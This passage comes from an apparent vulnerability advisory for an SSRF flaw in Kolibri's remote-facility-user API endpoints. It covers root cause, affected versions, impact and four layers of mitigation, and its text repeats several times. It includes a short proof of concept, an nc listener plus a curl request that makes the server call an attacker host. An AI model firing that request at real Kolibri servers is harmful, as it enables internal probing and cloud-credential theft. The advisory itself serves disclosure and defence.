POST vector (RemoteFacilityUserAuthenticatedViewset): get_remote_users_info() fetched <baseurl>/api/public/facilityuser/ with Basic Auth and the viewset returned Response(facility_info["users"]). A malicious baseurl returned crafted user-shaped JSON; arbitrary smuggled fields were reflected back to the caller. The setup wizard and NetworkLocationFacilitiesView endpoints had the same shape on different remote URLs.

Reproduction

The vulnerability can be reproduced by pointing baseurl at an attacker-controlled HTTP server that:

Responds to GET /api/public/info/ with a valid Kolibri info payload (so NetworkClient.build_for_address() succeeds).
GET vector: responds to GET /api/public/facilitysearchuser/ with a 302 redirect to the target URL. The redirected response body is reflected via Response(response.json()).
POST vector: responds to the relevant remote URL with crafted JSON containing additional fields. The full JSON is reflected.

A working PoC has been retained internally and is not published with this advisory.

Demonstrated impact (pre-fix)

Unauthenticated outbound requests from the Kolibri server to any HTTP(S) URL the attacker chose (GET endpoint only; the others required auth or an unprovisioned device).
Reflected data exfiltration for any HTTP endpoint that responded to a plain GET with JSON and no special request headers.
Cloud metadata reachability was realistic but service-specific:
- AWS IMDSv1 — reachable
- DigitalOcean (/metadata/v1.json) — reachable
- GCP, Azure, AWS IMDSv2 — not reachable via this vector (require Metadata-Flavor / Metadata / token headers that the attacker could not inject)
Reachability of internal HTTP services on the same network as the Kolibri server, with their JSON responses returned to the attacker.

Not demonstrated

The earlier draft asserted port scanning via a timing oracle and generic "internal network mapping." The reflection vector reads response bodies directly when the target speaks JSON; timing-based scanning of arbitrary TCP services was not demonstrated and is not the headline risk.

Mitigation

Four layers of defence:

Response sanitisation. Each affected endpoint now coerces the remote response to a documented shape before returning it. Smuggled fields are dropped.
Authentication. The previously-open RemoteFacilityUser* endpoints now require an authenticated caller (or an unprovisioned device, for setup-wizard flows).
Cross-host redirect blocking. Remote-fetch HTTP sessions refuse 30x responses that point to a different hostname. Same-host redirects still work.
Peer allowlist. Endpoints that accept a caller-supplied baseurl resolve it only to peers Kolibri already knows about, rather than connecting to arbitrary hosts. Discovery and CLI flows that legitimately need to probe new addresses use a separate code path.

Credit

Initial report and identification of the RemoteFacilityUser* viewsets by @beraoudabdelkhalek. Reflection-based PoC, additional vector identification, and remediation by the Kolibri maintainers.

Summary

The RemoteFacilityUserViewset API endpoint (/api/auth/remotefacilityuser) has no authentication or permission checks and accepts a user-controlled baseurl parameter. This parameter is passed directly to NetworkClient.build_for_address() which makes server-side HTTP requests to the attacker-specified URL. An unauthenticated attacker can force the Kolibri server to reach out to arbitrary internal hosts, port-scan internal networks, and access cloud metadata endpoints.

Details

This is mainly due to the following issues:

1. Missing authentication on the API endpoint

File: kolibri/core/auth/api.py, line ~1553

class RemoteFacilityUserViewset(views.APIView):  # No permission_classes → AllowAny
    def get(self, request):
        baseurl = request.query_params.get("baseurl", "")
        validator(baseurl)  # Only checks URL format (http/https scheme + valid hostname)
        client = NetworkClient.build_for_address(baseurl)
        response = client.get(url, params={"facility": facility, "search": username})

No permission_classes attribute is defined, and DEFAULT_PERMISSION_CLASSES is not set in the DRF configuration, so the endpoint defaults to AllowAny , accepting requests with zero authentication.

Similarly, RemoteFacilityUserAuthenticatedViewset (line ~1577, POST endpoint) also has no permission_classes, though it currently checks permissions via a different mechanism. The initial build_for_address() call still fires before that check.

2. Weak URL validation

File: kolibri/utils/urls.py, line 1-7

from django.core.validators import URLValidator
validator = URLValidator(schemes=["http", "https"])

The only validation is that the URL has an http or https scheme and a valid hostname. There is no block on:

RFC 1918 private IPs (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
Loopback addresses (127.0.0.0/8, ::1)
Link-local addresses (169.254.0.0/16, including AWS/GCP/Azure metadata endpoints)
IPv6 equivalents of any of the above

PoC

Prerequisites: A listener on a host reachable by the Kolibri server (e.g., nc -lvp 1337) the listener can be local or remote.

Against a local Docker deployment (validated against Kolibri 0.19.3):

# Trigger the SSRF no auth headers needed
curl "http://localhost:8080/api/auth/remotefacilityuser?baseurl=http://172.17.0.1:1337&username=test&facility=<facility_id>"

The Kolibri server makes an outbound HTTP request to the attacker's listener:

GET /api/public/info/?v=3 HTTP/1.1
Host: 172.17.0.1:1337
User-Agent: Kolibri/0.19.3 python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

Testers have also confirmed the issue against live deployments of Kolibri.

Impact

Unauthenticated SSRF : any attacker who can reach the Kolibri server can make it issue HTTP requests to arbitrary hosts, with no credentials needed Internal network scanning : the built-in port scanning behavior (5+ ports per HTTP target, 24+ connection attempts per request) allows mapping internal networks through the timing oracle Cloud metadata access : if Kolibri runs on a cloud VM (AWS EC2, GCP, Azure), the attacker can reach 169.254.169.254 and potentially exfiltrate IAM credentials and instance metadata Internal service discovery : other Kolibri instances or internal services on the network can be discovered and their API responses read by the attacker Blind SSRF via POST endpoint : RemoteFacilityUserAuthenticatedViewset returns 403 to the attacker but still makes the outbound request before the permission check

Affected versions


          0.0.1.dev20160531112859


          0.1.1rc2


          0.1.1rc3


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.3b2


          0.10.3b3


          0.11.0


          0.11.0b2


          0.11.1

+ 114 more


            0.12.0


            0.12.0b5


            0.12.0b6


            0.12.0b7


            0.12.0b8


            0.12.0b9


            0.12.1


            0.12.10b3


            0.12.2


            0.12.3


            0.12.3b1


            0.12.4


            0.12.4b2


            0.12.4b3


            0.12.4b5


            0.12.4b6


            0.12.4b7


            0.12.4b8


            0.12.5


            0.12.5b1


            0.12.5b2


            0.12.6


            0.12.6b1


            0.12.6b2


            0.12.6rc1


            0.12.7


            0.12.8


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0b2


            0.13.0b3


            0.13.0b4


            0.13.0b5


            0.13.0b6


            0.13.0b7


            0.13.0b8


            0.13.1


            0.13.1b1


            0.13.1b2


            0.13.2


            0.13.2b1


            0.13.3


            0.13.3b1


            0.13.3rc1


            0.14.0


            0.14.0b10


            0.14.0b3


            0.14.0rc1


            0.14.1


            0.14.2


            0.14.3


            0.14.4


            0.14.4rc1


            0.14.5


            0.14.6


            0.14.7


            0.14.8a1


            0.14.8a2


            0.14.8a4


            0.14.8a5


            0.14.8a6


            0.14.8a7


            0.14.8a8


            0.15.0


            0.15.0b5


            0.15.1


            0.15.10


            0.15.11


            0.15.12


            0.15.1b1


            0.15.2


            0.15.3


            0.15.4


            0.15.5


            0.15.6


            0.15.7


            0.15.8


            0.15.9


            0.16.0


            0.16.1


            0.16.2


            0.17.0


            0.17.1


            0.17.2


            0.17.3


            0.17.4


            0.17.5


            0.18.0


            0.18.1


            0.18.2


            0.18.3


            0.18.4


            0.19.0


            0.19.1


            0.19.2


            0.19.3


            0.2.0a0


            0.2.0a2


            0.2.1


            0.4.4


            0.5.3


            0.6.1


            0.7.0


            0.7.1


            0.7.2


            0.7.2b2


            0.8.0


            0.8.0b3


            0.8.0b4


            0.9.0


            0.9.1


            0.9.2

Fixed in


          0.19.4

References

Updated Jul 13, 2026 · Source: OSV.dev

Sep 19, 2024

0.17.0 minor

1 CVE

CVE-2026-48053 PYSEC-2026-2554 GHSA-4mj9-pf4r-cqrc Jul 13, 2026

Kolibri has Unauthenticated Server-Side Request Forgery (SSRF) in RemoteFacilityUserViewset

5.8 / 10

Medium

Network Low None None Changed Low None None

Summary

Several Kolibri API endpoints accept an unvalidated baseurl parameter and fetch attacker-controlled URLs from the Kolibri server, reflecting the response body back to the caller. The original report identified two endpoints on the RemoteFacilityUser* viewsets; remediation review found two further reflection points on the same pattern. The GET endpoint was unauthenticated.

Affected endpoints

Reported:

GET /api/auth/remotefacilityuser → RemoteFacilityUserViewset (kolibri/core/auth/api.py:1570). No authentication required.
POST /api/auth/remotefacilityauthenticateduserinfo → RemoteFacilityUserAuthenticatedViewset (kolibri/core/auth/api.py:1594). Authentication is checked against the remote server rather than the local Kolibri.

Found during remediation:

POST /api/public/setupwizard/loddata → setup wizard's remote-signup proxy (kolibri/plugins/setup_wizard/api.py). Reachable on unprovisioned devices.
GET /api/public/networklocation/<id>/facilities/ → NetworkLocationFacilitiesView (kolibri/core/discovery/api.py). Authenticated but with the same Response(remote_payload) pattern.

Root cause

Two compounding issues:

Response reflection — these endpoints returned the remote server's JSON body more or less verbatim to the caller (Response(response.json()), Response(facility_info["users"]), etc.).
No restriction on the remote target — baseurl was validated only by URLValidator(schemes=["http", "https"]). NetworkClient.build_for_address() would connect to any host with a valid Kolibri-shaped /api/public/info/ response, and requests followed 30x redirects by default, so a hostile peer could pivot the fetch to an arbitrary host (cloud metadata, internal services) before reflection.

Two reflection vectors

GET vector (RemoteFacilityUserViewset): The viewset fetched <baseurl>/api/public/facilitysearchuser/ and returned Response(response.json()). An attacker-controlled baseurl returned a 302 to an arbitrary internal URL; requests followed the redirect, and the redirected response body was returned to the attacker.

POST vector (RemoteFacilityUserAuthenticatedViewset): get_remote_users_info() fetched <baseurl>/api/public/facilityuser/ with Basic Auth and the viewset returned Response(facility_info["users"]). A malicious baseurl returned crafted user-shaped JSON; arbitrary smuggled fields were reflected back to the caller. The setup wizard and NetworkLocationFacilitiesView endpoints had the same shape on different remote URLs.

Reproduction

The vulnerability can be reproduced by pointing baseurl at an attacker-controlled HTTP server that:

Responds to GET /api/public/info/ with a valid Kolibri info payload (so NetworkClient.build_for_address() succeeds).
GET vector: responds to GET /api/public/facilitysearchuser/ with a 302 redirect to the target URL. The redirected response body is reflected via Response(response.json()).
POST vector: responds to the relevant remote URL with crafted JSON containing additional fields. The full JSON is reflected.

A working PoC has been retained internally and is not published with this advisory.

Demonstrated impact (pre-fix)

Unauthenticated outbound requests from the Kolibri server to any HTTP(S) URL the attacker chose (GET endpoint only; the others required auth or an unprovisioned device).
Reflected data exfiltration for any HTTP endpoint that responded to a plain GET with JSON and no special request headers.
Cloud metadata reachability was realistic but service-specific:
- AWS IMDSv1 — reachable
- DigitalOcean (/metadata/v1.json) — reachable
- GCP, Azure, AWS IMDSv2 — not reachable via this vector (require Metadata-Flavor / Metadata / token headers that the attacker could not inject)
Reachability of internal HTTP services on the same network as the Kolibri server, with their JSON responses returned to the attacker.

Not demonstrated

The earlier draft asserted port scanning via a timing oracle and generic "internal network mapping." The reflection vector reads response bodies directly when the target speaks JSON; timing-based scanning of arbitrary TCP services was not demonstrated and is not the headline risk.

Mitigation

Four layers of defence:

Response sanitisation. Each affected endpoint now coerces the remote response to a documented shape before returning it. Smuggled fields are dropped.
Authentication. The previously-open RemoteFacilityUser* endpoints now require an authenticated caller (or an unprovisioned device, for setup-wizard flows).
Cross-host redirect blocking. Remote-fetch HTTP sessions refuse 30x responses that point to a different hostname. Same-host redirects still work.
Peer allowlist. Endpoints that accept a caller-supplied baseurl resolve it only to peers Kolibri already knows about, rather than connecting to arbitrary hosts. Discovery and CLI flows that legitimately need to probe new addresses use a separate code path.

Credit

Initial report and identification of the RemoteFacilityUser* viewsets by @beraoudabdelkhalek. Reflection-based PoC, additional vector identification, and remediation by the Kolibri maintainers.

Summary

The RemoteFacilityUserViewset API endpoint (/api/auth/remotefacilityuser) has no authentication or permission checks and accepts a user-controlled baseurl parameter. This parameter is passed directly to NetworkClient.build_for_address() which makes server-side HTTP requests to the attacker-specified URL. An unauthenticated attacker can force the Kolibri server to reach out to arbitrary internal hosts, port-scan internal networks, and access cloud metadata endpoints.

Details

This is mainly due to the following issues:

1. Missing authentication on the API endpoint

File: kolibri/core/auth/api.py, line ~1553

class RemoteFacilityUserViewset(views.APIView):  # No permission_classes → AllowAny
    def get(self, request):
        baseurl = request.query_params.get("baseurl", "")
        validator(baseurl)  # Only checks URL format (http/https scheme + valid hostname)
        client = NetworkClient.build_for_address(baseurl)
        response = client.get(url, params={"facility": facility, "search": username})

No permission_classes attribute is defined, and DEFAULT_PERMISSION_CLASSES is not set in the DRF configuration, so the endpoint defaults to AllowAny , accepting requests with zero authentication.

Similarly, RemoteFacilityUserAuthenticatedViewset (line ~1577, POST endpoint) also has no permission_classes, though it currently checks permissions via a different mechanism. The initial build_for_address() call still fires before that check.

2. Weak URL validation

File: kolibri/utils/urls.py, line 1-7

from django.core.validators import URLValidator
validator = URLValidator(schemes=["http", "https"])

The only validation is that the URL has an http or https scheme and a valid hostname. There is no block on:

RFC 1918 private IPs (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
Loopback addresses (127.0.0.0/8, ::1)
Link-local addresses (169.254.0.0/16, including AWS/GCP/Azure metadata endpoints)
IPv6 equivalents of any of the above

PoC

Prerequisites: A listener on a host reachable by the Kolibri server (e.g., nc -lvp 1337) the listener can be local or remote.

Against a local Docker deployment (validated against Kolibri 0.19.3):

# Trigger the SSRF no auth headers needed
curl "http://localhost:8080/api/auth/remotefacilityuser?baseurl=http://172.17.0.1:1337&username=test&facility=<facility_id>"

The Kolibri server makes an outbound HTTP request to the attacker's listener:

GET /api/public/info/?v=3 HTTP/1.1
Host: 172.17.0.1:1337
User-Agent: Kolibri/0.19.3 python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

Testers have also confirmed the issue against live deployments of Kolibri.

Impact

Unauthenticated SSRF : any attacker who can reach the Kolibri server can make it issue HTTP requests to arbitrary hosts, with no credentials needed Internal network scanning : the built-in port scanning behavior (5+ ports per HTTP target, 24+ connection attempts per request) allows mapping internal networks through the timing oracle Cloud metadata access : if Kolibri runs on a cloud VM (AWS EC2, GCP, Azure), the attacker can reach 169.254.169.254 and potentially exfiltrate IAM credentials and instance metadata Internal service discovery : other Kolibri instances or internal services on the network can be discovered and their API responses read by the attacker Blind SSRF via POST endpoint : RemoteFacilityUserAuthenticatedViewset returns 403 to the attacker but still makes the outbound request before the permission check

Affected versions


          0.0.1.dev20160531112859


          0.1.1rc2


          0.1.1rc3


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.3b2


          0.10.3b3


          0.11.0


          0.11.0b2


          0.11.1

+ 114 more


            0.12.0


            0.12.0b5


            0.12.0b6


            0.12.0b7


            0.12.0b8


            0.12.0b9


            0.12.1


            0.12.10b3


            0.12.2


            0.12.3


            0.12.3b1


            0.12.4


            0.12.4b2


            0.12.4b3


            0.12.4b5


            0.12.4b6


            0.12.4b7


            0.12.4b8


            0.12.5


            0.12.5b1


            0.12.5b2


            0.12.6


            0.12.6b1


            0.12.6b2


            0.12.6rc1


            0.12.7


            0.12.8


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0b2


            0.13.0b3


            0.13.0b4


            0.13.0b5


            0.13.0b6


            0.13.0b7


            0.13.0b8


            0.13.1


            0.13.1b1


            0.13.1b2


            0.13.2


            0.13.2b1


            0.13.3


            0.13.3b1


            0.13.3rc1


            0.14.0


            0.14.0b10


            0.14.0b3


            0.14.0rc1


            0.14.1


            0.14.2


            0.14.3


            0.14.4


            0.14.4rc1


            0.14.5


            0.14.6


            0.14.7


            0.14.8a1


            0.14.8a2


            0.14.8a4


            0.14.8a5


            0.14.8a6


            0.14.8a7


            0.14.8a8


            0.15.0


            0.15.0b5


            0.15.1


            0.15.10


            0.15.11


            0.15.12


            0.15.1b1


            0.15.2


            0.15.3


            0.15.4


            0.15.5


            0.15.6


            0.15.7


            0.15.8


            0.15.9


            0.16.0


            0.16.1


            0.16.2


            0.17.0


            0.17.1


            0.17.2


            0.17.3


            0.17.4


            0.17.5


            0.18.0


            0.18.1


            0.18.2


            0.18.3


            0.18.4


            0.19.0


            0.19.1


            0.19.2


            0.19.3


            0.2.0a0


            0.2.0a2


            0.2.1


            0.4.4


            0.5.3


            0.6.1


            0.7.0


            0.7.1


            0.7.2


            0.7.2b2


            0.8.0


            0.8.0b3


            0.8.0b4


            0.9.0


            0.9.1


            0.9.2

Fixed in


          0.19.4

References

Updated Jul 13, 2026 · Source: OSV.dev

Aug 06, 2024

0.16.2 patch

1 CVE

CVE-2026-48053 PYSEC-2026-2554 GHSA-4mj9-pf4r-cqrc Jul 13, 2026

Kolibri has Unauthenticated Server-Side Request Forgery (SSRF) in RemoteFacilityUserViewset

5.8 / 10

Medium

Network Low None None Changed Low None None

Summary

Several Kolibri API endpoints accept an unvalidated baseurl parameter and fetch attacker-controlled URLs from the Kolibri server, reflecting the response body back to the caller. The original report identified two endpoints on the RemoteFacilityUser* viewsets; remediation review found two further reflection points on the same pattern. The GET endpoint was unauthenticated.

Affected endpoints

Reported:

GET /api/auth/remotefacilityuser → RemoteFacilityUserViewset (kolibri/core/auth/api.py:1570). No authentication required.
POST /api/auth/remotefacilityauthenticateduserinfo → RemoteFacilityUserAuthenticatedViewset (kolibri/core/auth/api.py:1594). Authentication is checked against the remote server rather than the local Kolibri.

Found during remediation:

POST /api/public/setupwizard/loddata → setup wizard's remote-signup proxy (kolibri/plugins/setup_wizard/api.py). Reachable on unprovisioned devices.
GET /api/public/networklocation/<id>/facilities/ → NetworkLocationFacilitiesView (kolibri/core/discovery/api.py). Authenticated but with the same Response(remote_payload) pattern.

Root cause

Two compounding issues:

Response reflection — these endpoints returned the remote server's JSON body more or less verbatim to the caller (Response(response.json()), Response(facility_info["users"]), etc.).
No restriction on the remote target — baseurl was validated only by URLValidator(schemes=["http", "https"]). NetworkClient.build_for_address() would connect to any host with a valid Kolibri-shaped /api/public/info/ response, and requests followed 30x redirects by default, so a hostile peer could pivot the fetch to an arbitrary host (cloud metadata, internal services) before reflection.

Two reflection vectors

GET vector (RemoteFacilityUserViewset): The viewset fetched <baseurl>/api/public/facilitysearchuser/ and returned Response(response.json()). An attacker-controlled baseurl returned a 302 to an arbitrary internal URL; requests followed the redirect, and the redirected response body was returned to the attacker.

POST vector (RemoteFacilityUserAuthenticatedViewset): get_remote_users_info() fetched <baseurl>/api/public/facilityuser/ with Basic Auth and the viewset returned Response(facility_info["users"]). A malicious baseurl returned crafted user-shaped JSON; arbitrary smuggled fields were reflected back to the caller. The setup wizard and NetworkLocationFacilitiesView endpoints had the same shape on different remote URLs.

Reproduction

The vulnerability can be reproduced by pointing baseurl at an attacker-controlled HTTP server that:

Responds to GET /api/public/info/ with a valid Kolibri info payload (so NetworkClient.build_for_address() succeeds).
GET vector: responds to GET /api/public/facilitysearchuser/ with a 302 redirect to the target URL. The redirected response body is reflected via Response(response.json()).
POST vector: responds to the relevant remote URL with crafted JSON containing additional fields. The full JSON is reflected.

A working PoC has been retained internally and is not published with this advisory.

Demonstrated impact (pre-fix)

Unauthenticated outbound requests from the Kolibri server to any HTTP(S) URL the attacker chose (GET endpoint only; the others required auth or an unprovisioned device).
Reflected data exfiltration for any HTTP endpoint that responded to a plain GET with JSON and no special request headers.
Cloud metadata reachability was realistic but service-specific:
- AWS IMDSv1 — reachable
- DigitalOcean (/metadata/v1.json) — reachable
- GCP, Azure, AWS IMDSv2 — not reachable via this vector (require Metadata-Flavor / Metadata / token headers that the attacker could not inject)
Reachability of internal HTTP services on the same network as the Kolibri server, with their JSON responses returned to the attacker.

Not demonstrated

The earlier draft asserted port scanning via a timing oracle and generic "internal network mapping." The reflection vector reads response bodies directly when the target speaks JSON; timing-based scanning of arbitrary TCP services was not demonstrated and is not the headline risk.

Mitigation

Four layers of defence:

Response sanitisation. Each affected endpoint now coerces the remote response to a documented shape before returning it. Smuggled fields are dropped.
Authentication. The previously-open RemoteFacilityUser* endpoints now require an authenticated caller (or an unprovisioned device, for setup-wizard flows).
Cross-host redirect blocking. Remote-fetch HTTP sessions refuse 30x responses that point to a different hostname. Same-host redirects still work.
Peer allowlist. Endpoints that accept a caller-supplied baseurl resolve it only to peers Kolibri already knows about, rather than connecting to arbitrary hosts. Discovery and CLI flows that legitimately need to probe new addresses use a separate code path.

Credit

Initial report and identification of the RemoteFacilityUser* viewsets by @beraoudabdelkhalek. Reflection-based PoC, additional vector identification, and remediation by the Kolibri maintainers.

Summary

The RemoteFacilityUserViewset API endpoint (/api/auth/remotefacilityuser) has no authentication or permission checks and accepts a user-controlled baseurl parameter. This parameter is passed directly to NetworkClient.build_for_address() which makes server-side HTTP requests to the attacker-specified URL. An unauthenticated attacker can force the Kolibri server to reach out to arbitrary internal hosts, port-scan internal networks, and access cloud metadata endpoints.

Details

This is mainly due to the following issues:

1. Missing authentication on the API endpoint

File: kolibri/core/auth/api.py, line ~1553

class RemoteFacilityUserViewset(views.APIView):  # No permission_classes → AllowAny
    def get(self, request):
        baseurl = request.query_params.get("baseurl", "")
        validator(baseurl)  # Only checks URL format (http/https scheme + valid hostname)
        client = NetworkClient.build_for_address(baseurl)
        response = client.get(url, params={"facility": facility, "search": username})

No permission_classes attribute is defined, and DEFAULT_PERMISSION_CLASSES is not set in the DRF configuration, so the endpoint defaults to AllowAny , accepting requests with zero authentication.

Similarly, RemoteFacilityUserAuthenticatedViewset (line ~1577, POST endpoint) also has no permission_classes, though it currently checks permissions via a different mechanism. The initial build_for_address() call still fires before that check.

2. Weak URL validation

File: kolibri/utils/urls.py, line 1-7

from django.core.validators import URLValidator
validator = URLValidator(schemes=["http", "https"])

The only validation is that the URL has an http or https scheme and a valid hostname. There is no block on:

RFC 1918 private IPs (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
Loopback addresses (127.0.0.0/8, ::1)
Link-local addresses (169.254.0.0/16, including AWS/GCP/Azure metadata endpoints)
IPv6 equivalents of any of the above

PoC

Prerequisites: A listener on a host reachable by the Kolibri server (e.g., nc -lvp 1337) the listener can be local or remote.

Against a local Docker deployment (validated against Kolibri 0.19.3):

# Trigger the SSRF no auth headers needed
curl "http://localhost:8080/api/auth/remotefacilityuser?baseurl=http://172.17.0.1:1337&username=test&facility=<facility_id>"

The Kolibri server makes an outbound HTTP request to the attacker's listener:

GET /api/public/info/?v=3 HTTP/1.1
Host: 172.17.0.1:1337
User-Agent: Kolibri/0.19.3 python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

Testers have also confirmed the issue against live deployments of Kolibri.

Impact

Unauthenticated SSRF : any attacker who can reach the Kolibri server can make it issue HTTP requests to arbitrary hosts, with no credentials needed Internal network scanning : the built-in port scanning behavior (5+ ports per HTTP target, 24+ connection attempts per request) allows mapping internal networks through the timing oracle Cloud metadata access : if Kolibri runs on a cloud VM (AWS EC2, GCP, Azure), the attacker can reach 169.254.169.254 and potentially exfiltrate IAM credentials and instance metadata Internal service discovery : other Kolibri instances or internal services on the network can be discovered and their API responses read by the attacker Blind SSRF via POST endpoint : RemoteFacilityUserAuthenticatedViewset returns 403 to the attacker but still makes the outbound request before the permission check

Affected versions


          0.0.1.dev20160531112859


          0.1.1rc2


          0.1.1rc3


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.3b2


          0.10.3b3


          0.11.0


          0.11.0b2


          0.11.1

+ 114 more


            0.12.0


            0.12.0b5


            0.12.0b6


            0.12.0b7


            0.12.0b8


            0.12.0b9


            0.12.1


            0.12.10b3


            0.12.2


            0.12.3


            0.12.3b1


            0.12.4


            0.12.4b2


            0.12.4b3


            0.12.4b5


            0.12.4b6


            0.12.4b7


            0.12.4b8


            0.12.5


            0.12.5b1


            0.12.5b2


            0.12.6


            0.12.6b1


            0.12.6b2


            0.12.6rc1


            0.12.7


            0.12.8


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0b2


            0.13.0b3


            0.13.0b4


            0.13.0b5


            0.13.0b6


            0.13.0b7


            0.13.0b8


            0.13.1


            0.13.1b1


            0.13.1b2


            0.13.2


            0.13.2b1


            0.13.3


            0.13.3b1


            0.13.3rc1


            0.14.0


            0.14.0b10


            0.14.0b3


            0.14.0rc1


            0.14.1


            0.14.2


            0.14.3


            0.14.4


            0.14.4rc1


            0.14.5


            0.14.6


            0.14.7


            0.14.8a1


            0.14.8a2


            0.14.8a4


            0.14.8a5


            0.14.8a6


            0.14.8a7


            0.14.8a8


            0.15.0


            0.15.0b5


            0.15.1


            0.15.10


            0.15.11


            0.15.12


            0.15.1b1


            0.15.2


            0.15.3


            0.15.4


            0.15.5


            0.15.6


            0.15.7


            0.15.8


            0.15.9


            0.16.0


            0.16.1


            0.16.2


            0.17.0


            0.17.1


            0.17.2


            0.17.3


            0.17.4


            0.17.5


            0.18.0


            0.18.1


            0.18.2


            0.18.3


            0.18.4


            0.19.0


            0.19.1


            0.19.2


            0.19.3


            0.2.0a0


            0.2.0a2


            0.2.1


            0.4.4


            0.5.3


            0.6.1


            0.7.0


            0.7.1


            0.7.2


            0.7.2b2


            0.8.0


            0.8.0b3


            0.8.0b4


            0.9.0


            0.9.1


            0.9.2

Fixed in


          0.19.4

References

Updated Jul 13, 2026 · Source: OSV.dev

May 29, 2024

0.16.1 patch

1 CVE

CVE-2026-48053 PYSEC-2026-2554 GHSA-4mj9-pf4r-cqrc Jul 13, 2026

Kolibri has Unauthenticated Server-Side Request Forgery (SSRF) in RemoteFacilityUserViewset

5.8 / 10

Medium

Network Low None None Changed Low None None

Summary

Several Kolibri API endpoints accept an unvalidated baseurl parameter and fetch attacker-controlled URLs from the Kolibri server, reflecting the response body back to the caller. The original report identified two endpoints on the RemoteFacilityUser* viewsets; remediation review found two further reflection points on the same pattern. The GET endpoint was unauthenticated.

Affected endpoints

Reported:

GET /api/auth/remotefacilityuser → RemoteFacilityUserViewset (kolibri/core/auth/api.py:1570). No authentication required.
POST /api/auth/remotefacilityauthenticateduserinfo → RemoteFacilityUserAuthenticatedViewset (kolibri/core/auth/api.py:1594). Authentication is checked against the remote server rather than the local Kolibri.

Found during remediation:

POST /api/public/setupwizard/loddata → setup wizard's remote-signup proxy (kolibri/plugins/setup_wizard/api.py). Reachable on unprovisioned devices.
GET /api/public/networklocation/<id>/facilities/ → NetworkLocationFacilitiesView (kolibri/core/discovery/api.py). Authenticated but with the same Response(remote_payload) pattern.

Root cause

Two compounding issues:

Response reflection — these endpoints returned the remote server's JSON body more or less verbatim to the caller (Response(response.json()), Response(facility_info["users"]), etc.).
No restriction on the remote target — baseurl was validated only by URLValidator(schemes=["http", "https"]). NetworkClient.build_for_address() would connect to any host with a valid Kolibri-shaped /api/public/info/ response, and requests followed 30x redirects by default, so a hostile peer could pivot the fetch to an arbitrary host (cloud metadata, internal services) before reflection.

Two reflection vectors

GET vector (RemoteFacilityUserViewset): The viewset fetched <baseurl>/api/public/facilitysearchuser/ and returned Response(response.json()). An attacker-controlled baseurl returned a 302 to an arbitrary internal URL; requests followed the redirect, and the redirected response body was returned to the attacker.

POST vector (RemoteFacilityUserAuthenticatedViewset): get_remote_users_info() fetched <baseurl>/api/public/facilityuser/ with Basic Auth and the viewset returned Response(facility_info["users"]). A malicious baseurl returned crafted user-shaped JSON; arbitrary smuggled fields were reflected back to the caller. The setup wizard and NetworkLocationFacilitiesView endpoints had the same shape on different remote URLs.

Reproduction

The vulnerability can be reproduced by pointing baseurl at an attacker-controlled HTTP server that:

Responds to GET /api/public/info/ with a valid Kolibri info payload (so NetworkClient.build_for_address() succeeds).
GET vector: responds to GET /api/public/facilitysearchuser/ with a 302 redirect to the target URL. The redirected response body is reflected via Response(response.json()).
POST vector: responds to the relevant remote URL with crafted JSON containing additional fields. The full JSON is reflected.

A working PoC has been retained internally and is not published with this advisory.

Demonstrated impact (pre-fix)

Unauthenticated outbound requests from the Kolibri server to any HTTP(S) URL the attacker chose (GET endpoint only; the others required auth or an unprovisioned device).
Reflected data exfiltration for any HTTP endpoint that responded to a plain GET with JSON and no special request headers.
Cloud metadata reachability was realistic but service-specific:
- AWS IMDSv1 — reachable
- DigitalOcean (/metadata/v1.json) — reachable
- GCP, Azure, AWS IMDSv2 — not reachable via this vector (require Metadata-Flavor / Metadata / token headers that the attacker could not inject)
Reachability of internal HTTP services on the same network as the Kolibri server, with their JSON responses returned to the attacker.

Not demonstrated

The earlier draft asserted port scanning via a timing oracle and generic "internal network mapping." The reflection vector reads response bodies directly when the target speaks JSON; timing-based scanning of arbitrary TCP services was not demonstrated and is not the headline risk.

Mitigation

Four layers of defence:

Response sanitisation. Each affected endpoint now coerces the remote response to a documented shape before returning it. Smuggled fields are dropped.
Authentication. The previously-open RemoteFacilityUser* endpoints now require an authenticated caller (or an unprovisioned device, for setup-wizard flows).
Cross-host redirect blocking. Remote-fetch HTTP sessions refuse 30x responses that point to a different hostname. Same-host redirects still work.
Peer allowlist. Endpoints that accept a caller-supplied baseurl resolve it only to peers Kolibri already knows about, rather than connecting to arbitrary hosts. Discovery and CLI flows that legitimately need to probe new addresses use a separate code path.

Credit

Initial report and identification of the RemoteFacilityUser* viewsets by @beraoudabdelkhalek. Reflection-based PoC, additional vector identification, and remediation by the Kolibri maintainers.

Summary

The RemoteFacilityUserViewset API endpoint (/api/auth/remotefacilityuser) has no authentication or permission checks and accepts a user-controlled baseurl parameter. This parameter is passed directly to NetworkClient.build_for_address() which makes server-side HTTP requests to the attacker-specified URL. An unauthenticated attacker can force the Kolibri server to reach out to arbitrary internal hosts, port-scan internal networks, and access cloud metadata endpoints.

Details

This is mainly due to the following issues:

1. Missing authentication on the API endpoint

File: kolibri/core/auth/api.py, line ~1553

class RemoteFacilityUserViewset(views.APIView):  # No permission_classes → AllowAny
    def get(self, request):
        baseurl = request.query_params.get("baseurl", "")
        validator(baseurl)  # Only checks URL format (http/https scheme + valid hostname)
        client = NetworkClient.build_for_address(baseurl)
        response = client.get(url, params={"facility": facility, "search": username})

No permission_classes attribute is defined, and DEFAULT_PERMISSION_CLASSES is not set in the DRF configuration, so the endpoint defaults to AllowAny , accepting requests with zero authentication.

Similarly, RemoteFacilityUserAuthenticatedViewset (line ~1577, POST endpoint) also has no permission_classes, though it currently checks permissions via a different mechanism. The initial build_for_address() call still fires before that check.

2. Weak URL validation

File: kolibri/utils/urls.py, line 1-7

from django.core.validators import URLValidator
validator = URLValidator(schemes=["http", "https"])

The only validation is that the URL has an http or https scheme and a valid hostname. There is no block on:

